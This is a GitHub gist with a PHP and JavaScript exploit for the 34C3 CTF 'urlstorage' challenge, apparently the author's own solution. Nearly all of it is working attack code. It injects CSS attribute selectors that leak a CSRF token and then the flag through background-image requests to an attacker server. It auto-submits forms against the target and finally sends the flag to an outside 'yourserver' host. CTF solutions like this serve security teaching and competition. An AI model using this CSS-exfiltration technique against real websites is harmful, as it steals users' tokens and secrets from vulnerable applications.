Skip to content

Instantly share code, notes, and snippets.

@eboda
Last active December 29, 2017 22:52
Show Gist options
  • Save eboda/c4c1ec7511fa73576a29367241f57f3a to your computer and use it in GitHub Desktop.
Save eboda/c4c1ec7511fa73576a29367241f57f3a to your computer and use it in GitHub Desktop.
34C3 CTF urlstorage exploit
<?php
$target = 'http://127.0.0.1/';
$exploit = 'http://yourserver:1337/exploit.php';
$exfil = 'http://yourserver:1337/FLAG=';
function enc($s) {
$res = '';
for ($i = 0; $i < strlen($s); $i++) {
$res .= '\\' . dechex(ord($s[$i]));
}
return $res;
}
if (isset($_GET['restart'])) {
file_put_contents('step1_prefix', '');
file_put_contents('step2_prefix', '');
exit;
}
if (isset($_GET['flagpage'])) {
$token = file_get_contents('step1_prefix');
?>
<form id="foo" action="<?= $target ?>flag" method="GET" target="_blank">
<input value="<?= $token ?></title><base href=urlstorage/>" name="token">
</form>
<script>
foo.submit();
</script>
<?php
exit;
}
if (isset($_GET['step'])) {
$step = $_GET['step'];
$prefix = file_get_contents("step{$step}_prefix");
if ($step === '1') {
echo "<form method='POST' id='yolo' target='_blank' action='{$target}urlstorage/'>";
} else {
echo "<form method='POST' id='yolo' action='{$target}urlstorage/'>";
}
echo "<textarea name='url' id='url'>";
$alph="0123456789abcdef";
$css = "\n{}\n";
for ($i = 0; $i<16; ++$i) {
$a=$alph[$i];
for ($j = 0; $j<16; ++$j) {
$b=$alph[$j];
if ($step === '1') {
$css .= "\na[href^=";
$css .= enc("flag?token=$prefix$a$b");
$css .= "]{background:url($exploit?new{$step}=$prefix$a$b);}\n";
} else {
$css .= "\ninput[value^=";
$css .= enc("34C3_$prefix$a$b");
$css .= "]{background:url($exploit?new{$step}=$prefix$a$b);}\n";
}
}
}
echo $css ."\n";
?>
</textarea>
</form>
<script>
yolo.submit();
</script>
<?php
exit;
}
if (isset($_GET['flag1'])) {
echo file_get_contents('step1_prefix');
exit;
}
if (isset($_GET['flag2'])) {
echo file_get_contents('step2_prefix');
exit;
}
if (isset($_GET['new1'])) {
file_put_contents('step1_prefix', $_GET['new1']);
exit;
}
if (isset($_GET['new2'])) {
file_put_contents('step2_prefix', $_GET['new2']);
exit;
}
if (isset($_GET['poll1'])) {
echo strlen(file_get_contents('step1_prefix'));
exit;
}
if (isset($_GET['poll2'])) {
echo strlen(file_get_contents('step2_prefix'));
exit;
}
?>
<html>
<head><script src='jquery.js'></script>
<body>
<iframe id='doit'></iframe>
<iframe id='doit2'></iframe>
<script>
var length = -1;
var poll_len = -1;
var token = '';
function get_url(url) {
var xhr = new XMLHttpRequest();
xhr.open('GET', url, false);
xhr.send();
return xhr.responseText;
}
function exfil() {
var flag = get_url('?flag2');
console.log("FINAL FLAG: " + flag);
get_url('<?= $exfil ?>' + flag);
}
function poll() {
return parseInt(get_url('<?= $exploit ?>?poll1'));
}
function poll2() {
return parseInt(get_url('<?= $exploit ?>?poll2'));
}
function doit1() {
poll_len = poll();
console.log(poll_len + " " + length);
if (length == 32) {
token = get_url('?flag1');
console.log("TOKEN: " + token);
length = -1;
doit2();
} else if (poll_len > length) {
$('#doit').attr('src', '<?= $exploit ?>?step=1'); // next url
length = poll_len;
console.log("Length now " + length);
setTimeout(doit1, 0);
} else {
setTimeout(doit1, 100);
}
};
function open_flag_url() {
$('#doit2').attr('src', '<?= $exploit ?>?flagpage');
length = poll_len;
console.log("Length now " + length);
setTimeout(doit2, 0);
}
function doit2() {
poll_len = poll2();
console.log("poll_len2 length: " + poll_len + " " + length);
if (length == 40) {
exfil();
} else if (poll_len > length) {
$('#doit2').attr('src', '<?= $exploit ?>?step=2');
setTimeout(open_flag_url, 300);
} else {
setTimeout(doit2, 100);
}
}
document.body.onload = function () {
get_url('?restart');
doit1();
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment